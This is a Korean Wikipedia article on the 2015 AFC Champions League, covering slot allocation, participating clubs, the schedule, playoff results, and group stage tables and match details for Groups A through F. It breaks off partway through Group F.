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AFC 챔피언스리그 2015 - 위키백과, 우리 모두의 백과사전 AFC 챔피언스리그 2015 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 AFC 챔피언스리그 2015 AFC Champions League 2015대회 개요개최기간 2015년 2월 4일 ~ 11월 21일참가클럽 49 (21개 협회) (1 (AFC)개 대륙)경기장 46 (40개 도시)최종 순위● 우승 팀 광저우 헝다 타오바오 (2번째 우승)● 준우승 팀 알아흘리 (두바이) 공동 3위 감바 오사카 알힐랄통계총 경기수 143경기득점 총합 392골 (경기당 2.74골)총 관중수 2,28,8863명 (경기당 16,006명)최다득점 선수 히카르두 골라르트 (8골)최우수 선수 히카르두 골라르트 ← 2014 2016 → v • d • e • h AFC 챔피언스리그 2015는 13번째로 개최되는 AFC 챔피언스리그이다. 우승 팀은 FIFA 클럽 월드컵 2015에 참가한다. 목차 1 출전권 배정 2 참가 팀 2.1 서아시아 (A-D조) 2.2 동아시아 (E-H조) 3 일정 4 플레이오프 4.1 서아시아 4.1.1 2라운드 4.1.2 3라운드 4.2 동아시아 4.2.1 1라운드 4.2.2 2라운드 4.2.3 3라운드 5 조별 리그 5.1 A조 5.2 B조 5.3 C조 5.4 D조 5.5 E조 5.6 F조 5.7 G조 5.8 H조 6 결선 토너먼트 6.1 16강전 6.1.1 1경기 6.1.2 2경기 6.1.3 3경기 6.1.4 4경기 6.1.5 5경기 6.1.6 6경기 6.1.7 7경기 6.1.8 8경기 6.2 8강전 6.2.1 1경기 6.2.2 2경기 6.2.3 3경기 6.2.4 4경기 6.3 준결승전 6.3.1 1경기 6.3.2 2경기 6.4 결승전 7 우승 8 득점 선수 9 최종 순위 10 같이 보기 11 각주 12 외부 링크 출전권 배정[편집] 기준 충족 국가 기준 미충족 국가 서아시아 배정 국가 순위 점수[1] 배정 조별 리그 플레이오프 지역 전체 3라운드 2라운드 1라운드 사우디아라비아 1 2 88.268 3 1 0 — 이란 2 3 80.794 3 1 0 — 우즈베키스탄 3 5 62.272 3 1 0 — 아랍에미리트 4 7 57.792 2 2 0 — 카타르 5 9 56.102 1 0 2 — 이라크* 6 10 47.106 0 0 0 — 쿠웨이트 7 11 45.225 0 0 1 — 요르단 8 12 44.309 0 0 1 — 오만 9 14 30.586 0 0 1 — 바레인 10 16 25.547 0 0 1 — 레바논* 11 17 25.488 0 0 0 — 시리아* 12 19 22.883 0 0 0 — 합계 12 5 6 — 동아시아 배정 국가 순위 점수[1] 배정 조별 리그 플레이오프 지역 전체 3라운드 2라운드 1라운드 대한민국 1 1 94.866 3 1 0 0 일본 2 4 77.107 3 1 0 0 오스트레일리아 3 6 57.940 2 1 0 0 중국 4 8 57.660 2 1 1 0 태국 5 13 33.049 1 0 2 0 베트남 6 15 27.753 1 0 1 0 인도네시아 7 18 25.004 0 0 1 0 홍콩 8 20 20.077 0 0 1 0 미얀마 9 21 18.282 0 0 0 1 말레이시아 10 22 18.153 0 0 0 1 인도 11 23 16.756 0 0 0 1 싱가포르 12 24 16.097 0 0 0 1 합계 12 4 6 4 AFC컵 참가 대상 국가의 클럽이 조별 리그에 진출할 경우 차순위 팀이 해당 팀을 대신하여 AFC컵 2014의 조별 리그에 참가하게 된다. * 이라크와 레바논, 시리아는 출전권을 분배받았지만, 클럽 라이센싱 기준을 통과한 클럽이 없어 출전권이 박탈되었다. 참가 팀[편집] 서아시아 (A-D조)[편집] 팀 출전 자격 출전 횟수 마지막 출전 조별 리그 알나스르 사우디 프리미어리그 2013-14 우승 2회 2011 알샤바브 사우디 챔피언스컵 2014 우승 9회 2014 알힐랄 사우디 프리미어리그 2013-14 준우승 11회 2014 풀라드 페르시안 걸프 컵 2013-14 우승 3회 2014 트락토르 사지 하즈피 컵 2013-14 우승 3회 2014 페르세폴리스 페르시안 걸프 컵 2013-14 준우승 5회 2012 파흐타코르 우즈베키스탄 리그 2014 우승 12회 2013 로코모티프 타슈켄트 우즈베키스탄 컵 2014 우승 우즈베키스탄 리그 2014 준우승 3회 2014 나사프 카르시 우즈베키스탄 리그 2014 3위 3회 2014 알아흘리 UAE 1부 리그 2013-14 우승 6회 2014 알아인 UAE 프레지던트컵 2013-14 우승 10회 2014 레크위야 카타르 스타스 리그 2013-14 우승 4회 2014 플레이오프 3라운드 알아흘리 사우디 프리미어리그 2013-14 3위 7회 2013 나프트 테헤란 페르시안 걸프 컵 2013-14 3위 1회 첫 출전 부뇨드코르* 우즈베키스탄 리그 2014 4위 8회 2014 알와흐다 UAE 1부 리그 2013-14 준우승 7회 2011 알자지라 UAE 1부 리그 2013-14 3위 7회 2014 플레이오프 2라운드 알사드 카타르 아미르 컵 2014 우승 10회 2014 알자이시 카타르 스타스 리그 2013-14 준우승 3회 2014 알카디시야 쿠웨이트 프리미어리그 2012-13 우승 AFC컵 2014 결승 진출 팀 5회 2014 알웨흐다트 요르단 리그 2013-14 우승 2회 2002-03 알나흐다 클럽 오만 리그 2013-14 우승 1회 첫 출전 리파 클럽 바레인 프리미어리그 2013-14 우승 2회 2004 동아시아 (E-H조)[편집] 팀 출전 자격 출전 횟수 마지막 출전 조별 리그 전북 현대 모터스 K리그 클래식 2014 우승 9회 2014 성남 FC FA컵 2014 우승 6회 2012 수원 삼성 블루윙즈 K리그 클래식 2014 준우승 6회 2013 감바 오사카 J리그 디비전 1 2014 우승 천황배 2014 우승 7회 2012 우라와 레드 다이아몬즈 J리그 디비전 1 2014 준우승 4회 2013 가시마 앤틀러스 J리그 디비전 1 2014 3위 6회 2011 브리즈번 로어 A리그 2013-14 정규리그 우승 A리그 2013-14 그랜드 파이널 우승 3회 2013 웨스턴 시드니 원더러스 A리그 2013-14 정규리그 준우승 2회 2014 광저우 헝다 중국 슈퍼리그 2014 우승 4회 2014 산둥 루넝 중국 FA컵 2014 우승 7회 2014 부리람 유나이티드 타이 프리미어리그 2014 우승 5회 2014 빈즈엉 V-리그 2014 우승 2회 2008 플레이오프 3라운드 FC 서울 K리그 클래식 2014 3위 5회 2014 가시와 레이솔* J리그 디비전 1 2014 4위 3회 2013 센트럴코스트 매리너스* A리그 2013-14 정규리그 3위 5회 2014 베이징 궈안 중국 슈퍼리그 2014 준우승 7회 2014 플레이오프 2라운드 광저우 푸리 중국 슈퍼리그 2014 3위 1회 첫 출전 방콕 글라스 태국 FA컵 2014 우승 4회 2008 촌부리 타이 프리미어리그 2014 준우승 4회 2014 하노이 T&T** V-리그 2014 준우승 1회 첫 출전 페르십 반둥 인도네시아 슈퍼리그 2014 우승 1회 첫 출전 킷치 홍콩 1부 리그 2013-14 우승 1회 첫 출전 플레이오프 1라운드 야다나본 미얀마 내셔널리그 2013-14 우승 1회 첫 출전 조호르 다룰 탁짐 말레이시아 슈퍼리그 2014 우승 1회 첫 출전 벵갈루루 I-리그 2013-14 우승 1회 첫 출전 워리어스 S-리그 2014 우승 3회 2010 * 리그 상위팀들이 컵대회를 우승함에 따라 차순위 팀들이 진출하게 된다. **베트남 컵 2014에서 우승한 하이퐁 FC가 클럽 라이센싱 기준을 통과하지 못해 리그 준우승팀이 참가하게 되었다. 일정[편집] AFC 챔피언스리그 2015 대회 경기 일정은 다음과 같다.[2] 단계 라운드 추첨 일자 1차전 2차전 플레이오프 1라운드 2014년 12월 11일 (말레이시아 쿠알라룸푸르) 2015년 2월 4일 2라운드 2015년 2월 10일 3라운드 2015년 2월 17일 조별 예선 1차전 2015년 2월 24일 ~ 2월 25일 2차전 2015년 3월 3일 ~ 3월 4일 3차전 2015년 3월 17일 ~ 3월 18일 4차전 2015년 4월 7일 ~ 4월 8일 5차전 2015년 4월 21일 ~ 4월 22일 6차전 2015년 5월 5일 ~ 5월 6일 토너먼트전 16강전 2015년 5월 19일 ~ 5월 20일 2015년 5월 26일 ~ 5월 27일 8강전 6월 18일 2015년 8월 25일 ~ 8월 26일 2015년 9월 15일 ~ 9월 16일 준결승전 2015년 9월 29일 ~ 9월 30일 2015년 10월 20일 ~ 10월 21일 결승전 2015년 11월 7일 2015년 11월 21일 플레이오프[편집] 순위가 높은 축구 협회에 속해 있는 팀의 홈 구장에서 단판 승부로 진행되며 90분 내에 승부가 나지 않으면 연장전, 승부차기가 진행된다. 플레이오프 승자는 조별 예선에 진출한다. 플레이오프에서 탈락하는 팀 중 2015 AFC컵 참가 대상인 팀은 AFC컵 조별 라운드 출전 자격을 얻는다. 서아시아[편집] 2라운드[편집] 팀 1 결과 팀 2 알카디시야 1 : 0 알웨흐다트 알자이시 2 : 1 알나흐다 알사드 0 : 0 (연장) (승부차기 11 : 10) 리파 2015년 2월 10일 18:15 (UTC+03) 알카디시야 1 : 0 알웨흐다트 쿠웨이트 S.C. 스타디움 관중수: 9,200 심판: 모하나드 카심 압둘라  59' 2015년 2월 10일 18:00 (UTC+03) 알자이시 2 : 1 알나흐다 알가라파 스타디움 관중수: 5,507 심판: 모흐드 아미룰 이즈완 야콥 히베이루  79' 호마리뉴  90' 보울라니  4' 2015년 2월 10일 18:30 (UTC+03) 알사드 0 : 0 (연장전) 리파 셰이크 자심 빈 하마드 스타디움 관중수: 2,500 심판: 무하마드 타키     승부차기   11 : 10   3라운드[편집] 팀 1 결과 팀 2 알아흘리 2 : 1 (연장) 알카디시야 나프트 테헤란 1 : 0 알자이시 부뇨드코르 2 : 1 알자지라 알와흐다 4 : 4 (연장) (승부차기 4 : 5) 알사드 2015년 2월 17일 20:10 (UTC+03) 알아흘리 2 : 1 (연장전) 알카디시야 킹 압둘라 스포츠 시티 관중수: 34,028 심판: 나와프 슈크랄라 알소마  83' (pen.) 알바사스  115' 리포트 알무타와  33' 2015년 2월 17일 18:00 (UTC+03:30) 나프트 테헤란 1 : 0 알자이시 아자디 스타디움 관중수: 5,750 심판: 랍샨 이르마토프 몬타하리  50' 리포트 2015년 2월 17일 17:00 (UTC+05) 부뇨드코르 2 : 1 알자지라 부뇨드코르 스타디움 관중수: 9,263 심판: 알리레자 파가니 쇼디에프  23' 라시도프  52' 리포트 맙쿠트  45+1' (pen.) 2015년 2월 17일 19:10 (UTC+04) 알와흐다 4 : 4 (연장전) 알사드 알나얀 경기장 관중수: 4,208 심판: 압둘라 알힐랄리 디아즈  8' 오마르  72' 알셰히  90+2' 마타르  108' 리포트 아메드  55' 이브라힘  66', 90+7', 98'     승부차기   4 : 5   동아시아[편집] 1라운드[편집] 팀 1 결과 팀 2 야다나본 1 : 1 (연장) (승부차기 5 : 6) 워리어스 조호르 다룰 탁짐 2 : 1 (연장) 벵갈루루 2015년 2월 4일 16:00 (UTC+06:30) 야다나본 1 : 1 (연장전) 워리어스 만달라 스타디움 관중수: 21,400 심판: 하메드 모메니 예 윈 아웅  102' 앤디 윈 아흐마드  99'     승부차기   5 : 6   2015년 2월 4일 20:45 (UTC+08) 조호르 다룰 탁짐 2 : 1 (연장전) 벵갈루루 스타디움 조호르 관중수: 17,455 심판: 압둘 가푸르 압둘 하미드 해리스 하런  47'찬투루 수피아  97' 유진슨  90' 2라운드[편집] 팀 1 결과 팀 2 하노이 T&T 4 : 0 페르십 반둥 촌부리 4 : 1 킷치 광저우 푸리 3 : 0 워리어스 방콕 글라스 3 : 0 조호르 다룰 탁짐 2015년 2월 10일 18:00 (UTC+07) 하노이 T&T 4 : 0 페르십 반둥 미 딘 스타디움 관중수: 2,500 심판: 재러드 질릿 마론클레  34', 57'삼손  47', 71' 2015년 2월 10일 19:00 (UTC+07) 촌부리 4 : 1 킷치 촌부리 스타디움 관중수: 3,432 심판: 김상우 아숨프상  8', 39', 55'누룰  27' 완 춘  35' 2015년 2월 10일 19:30 (UTC+08) 광저우 푸리 3 : 0 워리어스 예지우 스타디움 관중수: 7,883 심판: 미노루 토조 장즈펑  53'장현수  60'장숴  75' 2015년 2월 10일 19:00 (UTC+07) 방콕 글라스 3 : 0 조호르 다룰 탁짐 레오 스타디움 관중수: 5,299 심판: 크리스 베스 나롱  28' 카임비  52', 62' 3라운드[편집] 팀 1 결과 팀 2 FC 서울 7 : 0 하노이 T&T 가시와 레이솔 3 : 2 (연장) 촌부리 센트럴코스트 매리너스 1 : 3 광저우 푸리 베이징 궈안 3 : 0 방콕 글라스 2015년 2월 17일 19:30 (UTC+09) FC 서울 7 : 0 하노이 T&T 서울월드컵경기장 관중수: 6,718 심판: 사토 류지 윤일록  14' 에벨톤  20' 정조국  29', 46' 에스쿠데로  40' 이석현  69' 고명진  72' 리포트 2015년 2월 17일 19:00 (UTC+09) 가시와 레이솔 3 : 2 (연장전) 촌부리 히타치 가시와 축구장 관중수: 6,324 심판: 피터 그린 다케토미  8'레안드루  58 (pen.)', 116' 리포트 아숨프상  10' 크로에크릿  65' 2015년 2월 17일 19:30 (UTC+11) 센트럴코스트 매리너스 1 : 3 광저우 푸리 블루텅 경기장 관중수: 2,776 심판: 김동진 트리피로  90+2' 리포트 장닝  8' 루린  57' 로스  89 (o.g)' 2015년 2월 17일 18:00 (UTC+08) 베이징 궈안 3 : 0 방콕 글라스 베이징 공인체육장 관중수: 21,017 심판: 고형진 송보쉬안  17'바타야  64 (pen.)', 73' 리포트 조별 리그[편집] 각 클럽은 홈과 원정으로 같은 조의 세 클럽들과 두 번씩, 총 여섯 번의 경기를 한다. 승리시 승점 3점, 무승부시 승점 1점을 얻는다. 만약 승점이 같은 팀이 있을 경우 아래와 같은 방법으로 동점자를 가린다. 승점이 같은 팀 간 경기에서 상대 전적이 앞서는 팀 승점이 같은 팀 간 경기에서 골득실차가 더 높은 팀 승점이 같은 팀 간 경기에서 다득점을 한 팀 승점이 같은 팀 간 경기에서 원정 다득점을 한 팀 1~4의 기준을 적용하였음에도 여전히 순위가 같으면 1~4 기준을 순위가 같은 팀 안에서 다시 적용한다. 그럼에도 순위가 같을 경우 아래의 기준을 따른다. 조별 리그에서의 골득실차 조별 리그에서의 다득점 승점이 같은 팀끼리의 승부차기 조별 리그에서 받은 경고와 퇴장으로 인한 점수가 가장 적은 팀 (경고 1점, 경고 누적 퇴장 3점, 직접 퇴장 3점, 경고 후 직접 퇴장 4점) 해당 팀이 소속된 국가의 AFC 랭킹 각 조의 1위 팀과 2위 팀만이 다음 라운드로 진출한다. A조[편집] 팀 경기 승 무 패 득 실 차 승점 레크위야 6 4 1 1 9 5 +4 13 페르세폴리스 6 4 0 2 7 7 0 12 알나스르 6 2 2 2 7 6 +1 8 부뇨드코르 6 0 1 5 2 7 -5 1   알나스르 — 1 : 3 3 : 0 1 : 1 레크위야 1 : 1 — 3 : 0 1 : 0 페르세폴리스 1 : 0 3 : 0 — 2 : 1 부뇨드코르 0 : 1 0 : 1 0 : 1 — 2015년 2월 24일 18:00 (UTC+03:30) 페르세폴리스 3 : 0 레크위야 아자디 스타디움 관중수: 15,350 심판: 헤티캄카남게 페레라 벤가르  60' 노루지  66' 누리  66' (pen.) 리포트 2015년 2월 24일 20:25 (UTC+03) 알나스르 1 : 1 부뇨드코르 킹 파드 국립 경기장 관중수: 23,664 심판: 무하맛 타키 에스토야노프  51' 리포트 우린보에프  14' 2015년 3월 3일 18:00 (UTC+05) 부뇨드코르 0 : 1 페르세폴리스 부뇨드코르 스타디움 관중수: 21,285 심판: 김동진 리포트 누리  21' (pen.) 2015년 3월 3일 18:15 (UTC+03) 레크위야 1 : 1 알나스르 압둘라 빈 할리파 경기장 관중수: 3,840 심판: 모하나드 카심 이르시 사라이 베이스  51' 리포트 무사  47' (o.g) 2015년 3월 17일 18:00 (UTC+05) 부뇨드코르 0 : 1 레크위야 부뇨드코르 스타디움 관중수: 3,840 심판: 이이다 준페이 리포트 남태희  28' (pen.) 2015년 3월 17일 20:30 (UTC+03) 알나스르 3 : 0 페르세폴리스 킹 파드 국립 경기장 관중수: 20,315 심판: 사토 류지 미에르제예프스키  32' 에스토야노프  86' 알라헤브  90+5' 리포트 2015년 4월 8일 18:00 (UTC+04:30) 페르세폴리스 1 : 0 알나스르 아자디 스타디움 관중수: 100,000 심판: 마닝 타로미  62' (pen.) 리포트 2015년 4월 8일 18:30 (UTC+03) 레크위야 1 : 0 부뇨드코르 압둘라 빈 할리파 경기장 관중수: 3,188 심판: 압둘라 알힐랄리 베이스  43' 리포트 2015년 4월 22일 18:30 (UTC+03) 레크위야 3 : 0 페르세폴리스 압둘라 빈 할리파 경기장 관중수: 4,877 심판: 벤 윌리엄스 므사크니  69' 남태희  83' 아피프  90+3' 리포트 2015년 4월 22일 19:00 (UTC+05) 부뇨드코르 0 : 1 알나스르 부뇨드코르 스타디움 관중수: 3,153 심판: 리우 콱 만 리포트 미에르제예프스키  33' 2015년 5월 6일 20:50 (UTC+03) 알나스르 1 : 3 레크위야 킹 파드 국립 경기장 관중수: 40,915 심판: 김종혁 알라에브  36' 리포트 므사크니  28' 남태희  32' 소리아  58' (pen.) 2015년 5월 6일 18:30 (UTC+04:30) 페르세폴리스 2 : 1 부뇨드코르 아자디 스타디움 관중수: 100,000 심판: 야마모토 유다이 누리  69' (pen.) 유라바에프  90+3' (o.g) 리포트 라시도프  69' B조[편집] 팀 경기 승 무 패 득 실 차 승점 알아인 6 3 3 0 7 2 +5 12 나프트 테헤란 6 2 2 2 8 8 0 8 파흐타코르 6 1 3 2 6 8 -2 6 알샤바브 6 1 2 3 5 8 -3 5   파흐타코르 — 0 : 2 0 : 1 2 : 1 알샤바브 2 : 2 — 0 : 1 0 : 3 알아인 1 : 1 0 : 0 — 3 : 0 나프트 테헤란 1 : 1 2 : 1 1 : 1 — 2015년 2월 24일 16:30 (UTC+05) 파흐타코르 2 : 1 나프트 테헤란 파흐타코르 마르카지 경기장 관중수: 4,913 심판: 마사아키 토마 마카라제  48' 세르게에프  85' 리포트 고르바니  59' 2015년 2월 24일 19:00 (UTC+04) 알아인 0 : 0 알샤바브 하자빈 자예드 스타디움 관중수: 15,426 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 3월 3일 18:00 (UTC+03:30) 나프트 테헤란 1 : 1 알아인 아자디 스타디움 관중수: 3,300 심판: 탄하이 쿠로시  50' 리포트 잔  58' (페널티) 2015년 3월 3일 20:20 (UTC+03) 알샤바브 2 : 2 파흐타코르 킹 파드 국립 경기장 관중수: 5,404 심판: 피터 그린 알카이바리  35'하자지  84' 리포트 세르게에프  62'마카라제  71' (페널티) 2015년 3월 18일 17:00 (UTC+05) 파흐타코르 0 : 1 알아인 파흐타코르 마르카지 경기장 관중수: 8,675 심판: 김종혁 리포트 스토흐  61' 2015년 3월 18일 18:00 (UTC+03:30) 나프트 테헤란 2 : 1 알샤바브 아자디 스타디움 관중수: 1,560 심판: 김동진 모타하리  86' 파도바니  90' 리포트 하자지  43' (페널티) 2015년 4월 7일 19:15 (UTC+04) 알아인 1 : 1 파흐타코르 하자빈 자예드 스타디움 관중수: 6,872 심판: 파하드 알마리 켐보  20' 리포트 세르게에프  45+2' 2015년 4월 7일 20:35 (UTC+03) 알샤바브 0 : 3 나프트 테헤란 킹 파드 국립 경기장 관중수: 5,035 심판: 헤티캄카남게 페레라 리포트 아미리  57' 모타하리  83' 알리야리  90+1' 2015년 4월 22일 20:40 (UTC+03) 알샤바브 0 : 1 알아인 킹 파드 국립 경기장 관중수: 1,977 심판: 도조 미노루 리포트 잔  58' 2015년 4월 22일 19:00 (UTC+04:30) 나프트 테헤란 1 : 1 파흐타코르 아자디 스타디움 관중수: 1,840 심판: 김상우 레자에이  25' 리포트 코자크  36' 2015년 5월 6일 18:30 (UTC+05) 파흐타코르 0 : 2 알샤바브 파흐타코르 마르카지 경기장 관중수: 3,638 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 5월 6일 19:30 (UTC+04) 알아인 3 : 0 나프트 테헤란 하자빈 자예드 스타디움 관중수: 4,299 심판: 피터 그린 리포트 C조[편집] 팀 경기 승 무 패 득 실 차 승점 알힐랄 6 4 1 1 9 4 +5 13 알사드 6 3 1 2 9 9 0 10 풀라드 6 1 3 2 2 4 -2 6 로코모티프 타슈켄트 6 1 1 4 10 13 -3 4   풀라드 — 1 : 0 0 : 0 0 : 0 로코모티프 타슈켄트 1 : 1 — 0 : 2 5 : 0 알힐랄 2 : 0 3 : 1 — 2 : 1 알사드 1 : 0 6 : 2 1 : 0 — 2015년 2월 25일 16:00 (UTC+03:30) 풀라드 0 : 0 알사드 가디르 스타디움 관중수: 37,843 심판: 김상우 리포트 2015년 2월 25일 20:30 (UTC+03) 알힐랄 3 : 1 로코모티프 타슈켄트 킹 파드 국립 경기장 관중수: 17,440 심판: 김종혁 카리리  11'알살렘  14'치아구 네베스  71' 리포트 미르자예프  39' 2015년 3월 4일 15:00 (UTC+05) 로코모티프 타슈켄트 1 : 1 풀라드 로코모티프 스타디움 관중수: 7,456 심판: 사토 류지 조테에프  6' 리포트 자마아티  32' 2015년 3월 4일 18:45 (UTC+03) 알사드 1 : 0 알힐랄 자심 빈 하마드 스타디움 관중수: 6,843 심판: 아흐메드 알카프 이브라힘  29' 리포트 2015년 3월 17일 16:00 (UTC+03:30) 풀라드 0 : 0 알힐랄 가디르 스타디움 관중수: 37,452 심판: 재러드 질릿 리포트 2015년 3월 17일 18:45 (UTC+03) 알사드 6 : 2 로코모티프 타슈켄트 자심 빈 하마드 스타디움 관중수: 4,100 심판: 벤 윌리엄스 이브라힘  27' (페널티) 알하이도스  34' 벨하지  40' 무리키  50' 하산  63' 그라피치  66' 리포트 코야셰비치  56' 야수르 하사노프  77' (pen.) 2015년 4월 8일 16:00 (UTC+05) 로코모티프 타슈켄트 5 : 0 알사드 로코모티프 스타디움 관중수: 3,852 심판: 김동진 비크마에프  7', 14' 쇼아크메도프  55' 코야셰비치  79' 코리안  90+1' 리포트 2015년 4월 8일 20:45 (UTC+03) 알힐랄 2 : 0 풀라드 킹 파드 국립 경기장 관중수: 20,087 심판: 도마 마사아키 알샴라니  46' 알샤라니  61' 리포트 2015년 4월 21일 16:00 (UTC+05) 로코모티프 타슈켄트 1 : 2 알힐랄 로코모티프 스타디움 관중수: 3,974 심판: 나고르 아미르 누르 모하메드 압두콜리코프  90+4' 리포트 알리 아베드  56' 알조리  72' 2015년 4월 21일 19:00 (UTC+03) 알사드 1 : 0 풀라드 자심 빈 하마드 스타디움 관중수: 3,455 심판: 모흐드 아미룰 이즈완 야콥 무리키  42' 리포트 2015년 5월 5일 17:30 (UTC+04:30) 풀라드 1 : 0 로코모티프 타슈켄트 가디르 스타디움 관중수: 2,142 심판: 마닝 2015년 5월 5일 20:55 (UTC+03) 알힐랄 2 : 1 알사드 킹 파드 국립 경기장 관중수: 9,394 심판: 고형진 D조[편집] 팀 경기 승 무 패 득 실 차 승점 알아흘리 6 3 3 0 11 7 +4 12 알아흘리 6 2 2 2 8 8 0 8 나사프 카르시 6 2 2 2 5 5 0 8 트락토르 사지 6 1 1 4 7 11 -4 4   알아흘리 — 3 : 2 0 : 0 3 : 3 트락토르 사지 1 : 0 — 1 : 2 2 : 2 나사프 카르시 0 : 1 2 : 1 — 0 : 0 알아흘리 2 : 1 2 : 0 2 : 1 — 2015년 2월 25일 18:00 (UTC+05) 나사프 카르시 2 : 1 트락토르 사지 카르시 경기장 관중수: 11,160 심판: 압둘라 알힐랄리 쇼무로도프  46' 카리모프  52' 리포트 에지뉴  32' 2015년 2월 25일 20:25 (UTC+04) 알아흘리 3 : 3 알아흘리 라세드 경기장 관중수: 7,200 심판: 도조 미노루 함마디  19', 79' 칼릴  43' 리포트 오스발도  2' 알모가위  41' 알자셈  57' 2015년 3월 4일 16:00 (UTC+03:30) 트락토르 사지 1 : 0 알아흘리 아데가르 에맘 스타디움 관중수: 25,830 심판: 고형진 암하자데흐  40' 리포트 2015년 3월 4일 20:15 (UTC+03) 알아흘리 2 : 1 나사프 카르시 킹 압둘라 스포츠 시티 관중수: 19,855 심판: 스트레브르 델로프스키 알소마  22' 알아마리  78' 리포트 주웨르키안  65' 2015년 3월 18일 20:35 (UTC+04) 알아흘리 0 : 0 나사프 카르시 라세드 경기장 관중수: 3,121 심판: 모하나드 카심 리포트 2015년 3월 18일 20:20 (UTC+03) 알아흘리 2 : 0 트락토르 사지 킹 압둘라 스포츠 시티 관중수: 45,482 심판: 아흐메드 알카프 알자심  72', 80' 리포트 2015년 4월 7일 16:00 (UTC+04:30) 트락토르 사지 2 : 2 알아흘리 아데가르 에맘 스타디움 관중수: 32,500 심판: 사토 류지 에지뉴  60' 세게비  77' 리포트 알소마  74', 90' 2015년 4월 7일 19:00 (UTC+05) 나사프 카르시 0 : 1 알아흘리 카르시 경기장 관중수: 15,500 심판: 김종혁 리포트 이베르통 히베이루  81' 2015년 4월 21일 18:00 (UTC+04:30) 트락토르 사지 1 : 2 나사프 카르시 아데가르 에맘 스타디움 관중수: 15,000 심판: 무하마드 타키 알리아파리 빈 자하리 키아니  52' 리포트 게보르키안  59', 71' 2015년 4월 21일 20:30 (UTC+03) 알아흘리 2 : 1 알아흘리 킹 압둘라 스포츠 시티 관중수: 15,842 심판: 압둘라 발리데 아부 라데아  78' 브루누 세자르  90+4' 리포트 이베르통 히베이루  16' 2015년 5월 5일 19:40 (UTC+04) 알아흘리 3 : 2 트락토르 사지 라세드 경기장 관중수: 3,540 심판: 김동진 2015년 5월 5일 20:00 (UTC+05) 나사프 카르시 0 : 0 알아흘리 카르시 경기장 관중수: 16,000 심판: 도마 마사아키 E조[편집] 팀 경기 승 무 패 득 실 차 승점 가시와 레이솔 6 3 2 1 14 9 +5 11 전북 현대 모터스 6 3 2 1 14 6 +8 11 산둥 루넝 6 2 1 3 13 17 -4 7 빈즈엉 6 1 1 4 6 15 -9 4   전북 현대 모터스 — 4 : 1 3 : 0 0 : 0 산둥 루넝 1 : 4 — 3 : 1 4 : 4 빈즈엉 FC 1 : 1 2 : 3 — 1 : 0 가시와 레이솔 3 : 2 2 : 1 1 : 0 — 2015년 2월 24일 19:00 (UTC+09) 전북 현대 모터스 0 : 0 가시와 레이솔 전주월드컵경기장 관중수: 13,422 심판: 크리스 베스 리포트 2015년 2월 24일 18:00 (UTC+07) 빈즈엉 FC 2 : 3 산둥 루넝 빈즈엉 경기장 관중수: 8,913 심판: 벤 윌리엄스 오세니  48' 왕창  56' (o.g) 리포트 왕융포  47' 양쉬  60', 81' 2015년 3월 3일 15:30 (UTC+08) 산둥 루넝 1 : 4 전북 현대 모터스 지난 올림픽 스포츠 센터 관중수: 27,386 심판: 모함메드 압둘라 하산 양쉬  61' 리포트 에두  21' 한교원  71' 이재성  75' 레오나르두  90+3' 2015년 3월 3일 19:00 (UTC+09) 가시와 레이솔 5 : 1 빈즈엉 FC 히타치 가시와 축구장 관중수: 5,694 심판: 파하드 알마리 구도  42', 67' 브란코비치  44' (o.g) 김창수  56' 오타니 히데카즈  75' 리포트 오세니  82' 2015년 3월 17일 19:00 (UTC+09) 전북 현대 모터스 3 : 0 빈즈엉 전주월드컵경기장 관중수: 6,704 심판: 압둘라 발루시 이니뉴  16' 이동국  41', 86' 리포트 2015년 3월 17일 19:00 (UTC+09) 가시와 레이솔 2 : 1 산둥 루넝 히타치 가시와 축구장 관중수: 7,657 심판: 랍샨 이르마토프 다케토미  23' 와코  90+2' 리포트 몬티요  51' 2015년 4월 8일 18:00 (UTC+07) 빈즈엉 FC 1 : 1 전북 현대 모터스 빈즈엉 경기장 관중수: 4,000 심판: 재레드 길레트 디엥  90' 리포트 이니뉴  29' 2015년 4월 8일 19:00 (UTC+08) 산둥 루넝 4 : 4 가시와 레이솔 지난 올림픽 스포츠 센터 관중수: 21,631 심판: 알리레자 파가니 왕융포  4' 주니오르 우르수  34' 몬티요  37' 양쉬  49' 리포트 레안드루  23' 다케토미  29' 크리스치아누  32', 82' 2015년 4월 22일 19:00 (UTC+09) 가시와 레이솔 3 : 2 전북 현대 모터스 히타치 가시와 축구장 관중수: 7,424 심판: 나와프 슈크랄라 에두아르두 9' 다케토미  19', 38' 리포트 이동국  66', 80' 2015년 4월 22일 19:00 (UTC+08) 산둥 루넝 3 : 1 빈즈엉 FC 지난 올림픽 스포츠 센터 관중수: 12,566 심판: 암마르 알제네이비 양쉬  27', 70' 주니오르 우르수  61' 리포트 응우옌쫑호앙  19' 2015년 5월 6일 19:00 (UTC+09) 전북 현대 모터스 4 : 1 산둥 루넝 전주월드컵경기장 관중수: 11,131명 심판: 헤티캄카남게 페레라 이재성  25' 김형일  51' 이니뉴  80' (pen.) 에두  88' 리포트 왕통  45+1' 2015년 5월 6일 18:00 (UTC+07) 빈즈엉 FC 1 : 0 가시와 레이솔 빈즈엉 경기장 관중수: 4,600명 심판: 파하드 알미르다시 레꽁빈  56' 리포트 F조[편집] 팀 경기 승 무 패 득 실 차 승점 감바 오사카 6 3 1 2 10 7 +3 10 성남 FC 6 3 1 2 7 5 +2 10 부리람 유나이티드 6 3 1 2 12 7 +5 10 광저우 푸리 6 1 1 4 3 13 -10 4   감바 오사카 — 2 : 1 1 : 1 0 : 2 성남 FC 2 : 0 — 2 : 1 0 : 0 부리람 유나이티드 1 : 2 2 : 1 — 5 : 0 광저우 푸리 0 : 5 0 : 1 1 : 2 — 2015년 2월 24일 19:00 (UTC+09) 감바 오사카 0 : 2 광저우 푸리 엑스포 70' 스타디움 관중수: 8,848 심판: 모센 토르키 리포트 함달라  10' 왕송  80' 2015년 2월 24일 18:00 (UTC+07) 부리람 유나이티드 2 : 1 성남 FC 뉴아이모바일 스타디움 관중수: 8,959 심판: 압둘라 하산 모하메드 프라킷  17' 마세나  19' 리포트 나루바딘  88' (o.g) 2015년 3월 3일 19:30 (UTC+09) 성남 FC 2 : 0 감바 오사카 탄천종합운동장 관중수: 7,813 심판: 랍샨 이르마토프 히카르두 부에누  8' (pen.) 황의조  68' 리포트 2015년 3월 3일 19:30 (UTC+8) 광저우 푸리 1 : 2 부리람 유나이티드 웨슈산 체육장 관중수: 9,308 심판: 모흐드 아미룰 이즈완 야콥 뤼린  